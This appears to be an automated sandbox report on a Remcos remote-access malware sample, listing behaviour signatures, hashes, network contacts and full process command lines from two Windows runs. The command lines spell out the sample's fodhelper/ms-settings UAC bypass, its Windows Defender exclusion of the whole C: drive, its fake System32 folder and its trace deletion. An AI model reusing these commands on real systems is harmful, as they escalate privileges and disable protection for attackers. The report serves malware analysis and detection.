Analysis Overview
SHA256
65b623470572f6bc6d529fc9abee566c2a5feb1ca6275c8921865e8b60fb3f86
Threat Level: Known bad
The file 2d655119c0aa977debf88758f2009729.bin was found to be: Known bad.
Malicious Activity Summary
Remcos
NirSoft MailPassView
Credentials from Password Stores: Credentials from Web Browsers
Detected Nirsoft tools
NirSoft WebBrowserPassView
Loads dropped DLL
Checks computer location settings
Executes dropped EXE
Accesses Microsoft Outlook accounts
Adds Run key to start application
Suspicious use of SetThreadContext
System Network Configuration Discovery: Internet Connection Discovery
Unsigned PE
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Script User-Agent
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Runs ping.exe
Suspicious behavior: MapViewOfSection
Modifies registry class
Kills process with taskkill
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-27 01:40
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-27 01:40
Reported
2024-07-27 01:45
Platform
win7-20240708-en
Max time kernel
149s
Max time network
131s
Command Line
Signatures
Remcos
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Libraries\ioeztdcY.pif | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\ger.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2164 set thread context of 2692 | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | C:\Users\Public\Libraries\ioeztdcY.pif |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Libraries\ioeztdcY.pif | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\extrac32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\SndVol.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open | C:\Users\Public\ger.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings\shell\open\command | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000_CLASSES\ms-settings | C:\Users\Public\ger.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Public\xkn.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\SndVol.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\SndVol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\SndVol.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"
C:\Users\Public\Libraries\ioeztdcY.pif
C:\Users\Public\Libraries\ioeztdcY.pif
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D836.tmp\D847.tmp\D848.bat C:\Users\Public\Libraries\ioeztdcY.pif"
C:\Windows\System32\extrac32.exe
C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Windows\system32\cmd.exe
cmd.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\xkn.exe
C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\alpha.exe
"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Users\Public\ger.exe
C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettings.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettingsAdminFlows.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM cmd.exe
C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF
C:\Windows\SysWOW64\SndVol.exe
C:\Windows\System32\SndVol.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 2005.filemail.com | udp |
| DE | 50.7.86.226:443 | 2005.filemail.com | tcp |
| DE | 50.7.86.226:443 | 2005.filemail.com | tcp |
| N/A | 127.0.0.1:45645 | tcp | |
| N/A | 127.0.0.1:56765 | tcp | |
| US | 8.8.8.8:53 | latestgrace2024.duckdns.org | udp |
| MY | 103.198.26.130:56765 | latestgrace2024.duckdns.org | tcp |
| MY | 103.198.26.130:56765 | latestgrace2024.duckdns.org | tcp |
Files
memory/2164-0-0x0000000000220000-0x0000000000221000-memory.dmp
memory/2164-1-0x0000000000400000-0x0000000000527000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\CabD413.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\TarD455.tmp
| MD5 | 4ea6026cf93ec6338144661bf1202cd1 |
| SHA1 | a1dec9044f750ad887935a01430bf49322fbdcb7 |
| SHA256 | 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8 |
| SHA512 | 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b |
\Users\Public\Libraries\ioeztdcY.pif
| MD5 | c116d3604ceafe7057d77ff27552c215 |
| SHA1 | 452b14432fb5758b46f2897aeccd89f7c82a727d |
| SHA256 | 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301 |
| SHA512 | 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6 |
memory/2692-48-0x0000000000400000-0x000000000041A000-memory.dmp
memory/2692-45-0x0000000000400000-0x0000000001400000-memory.dmp
memory/2692-47-0x0000000000400000-0x0000000001400000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\D836.tmp\D847.tmp\D848.bat
| MD5 | 54147a112fd4c4fffbdeb2eeab926f59 |
| SHA1 | 7f4ae3d3dd6202e47bc02438a947065c7ed115a9 |
| SHA256 | b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46 |
| SHA512 | 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488 |
\Users\Public\alpha.exe
| MD5 | 5746bd7e255dd6a8afa06f7c42c1ba41 |
| SHA1 | 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 |
| SHA256 | db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386 |
| SHA512 | 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e |
\Users\Public\xkn.exe
| MD5 | 852d67a27e454bd389fa7f02a8cbe23f |
| SHA1 | 5330fedad485e0e4c23b2abe1075a1f984fde9fc |
| SHA256 | a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8 |
| SHA512 | 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d |
memory/1968-78-0x000000001B3D0000-0x000000001B6B2000-memory.dmp
memory/1968-79-0x0000000000280000-0x0000000000288000-memory.dmp
\Users\Public\ger.exe
| MD5 | 9d0b3066fe3d1fd345e86bc7bcced9e4 |
| SHA1 | e05984a6671fcfecbc465e613d72d42bda35fd90 |
| SHA256 | 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e |
| SHA512 | d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119 |
memory/2692-97-0x0000000000400000-0x0000000001400000-memory.dmp
memory/2692-99-0x0000000000400000-0x000000000041A000-memory.dmp
memory/1072-109-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-106-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-111-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-110-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-105-0x00000000027E0000-0x00000000037E0000-memory.dmp
memory/1072-113-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-115-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-116-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-117-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-118-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-119-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-120-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-123-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-124-0x000000001B610000-0x000000001B692000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | 18cc44ed29e1d009ba8e6d80e390f835 |
| SHA1 | 1dd77bddcd536a838494a6c3371ca576ba582c33 |
| SHA256 | 156a7473b3b6ae8e7a1f2c0b830165ef62d95ea394de308d437f7575f24f4c8c |
| SHA512 | 23483e45cf4d4c070e308163f994cec939b7739977ede0452520470d5aa6ab5a139cd0b5745b60b601c4b4caa3504f37982630c1036a1091d28ec71045f29e3f |
memory/1072-131-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-132-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-138-0x00000000021B0000-0x00000000021C9000-memory.dmp
memory/1072-142-0x00000000021B0000-0x00000000021C9000-memory.dmp
memory/1072-141-0x00000000021B0000-0x00000000021C9000-memory.dmp
memory/1072-143-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-145-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-146-0x000000001B610000-0x000000001B692000-memory.dmp
memory/1072-153-0x000000001B610000-0x000000001B692000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-27 01:40
Reported
2024-07-27 01:45
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
154s
Command Line
Signatures
Remcos
Credentials from Password Stores: Credentials from Web Browsers
Detected Nirsoft tools
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation | C:\Users\Public\Libraries\ioeztdcY.pif | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation | C:\Windows \System32\per.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Libraries\ioeztdcY.pif | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Windows \System32\per.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Windows\SysWOW64\colorcpl.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1696 set thread context of 2024 | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | C:\Users\Public\Libraries\ioeztdcY.pif |
| PID 4100 set thread context of 1836 | N/A | C:\Windows\SysWOW64\colorcpl.exe | C:\Windows\SysWOW64\colorcpl.exe |
| PID 4100 set thread context of 1808 | N/A | C:\Windows\SysWOW64\colorcpl.exe | C:\Windows\SysWOW64\colorcpl.exe |
| PID 4100 set thread context of 3508 | N/A | C:\Windows\SysWOW64\colorcpl.exe | C:\Windows\SysWOW64\colorcpl.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Libraries\ioeztdcY.pif | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\extrac32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\colorcpl.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"
C:\Users\Public\Libraries\ioeztdcY.pif
C:\Users\Public\Libraries\ioeztdcY.pif
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D65B.tmp\D65C.tmp\D65D.bat C:\Users\Public\Libraries\ioeztdcY.pif"
C:\Windows\System32\extrac32.exe
C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Windows\system32\cmd.exe
cmd.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Windows \System32\per.exe
"C:\\Windows \\System32\\per.exe"
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\System32\colorcpl.exe
C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettings.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
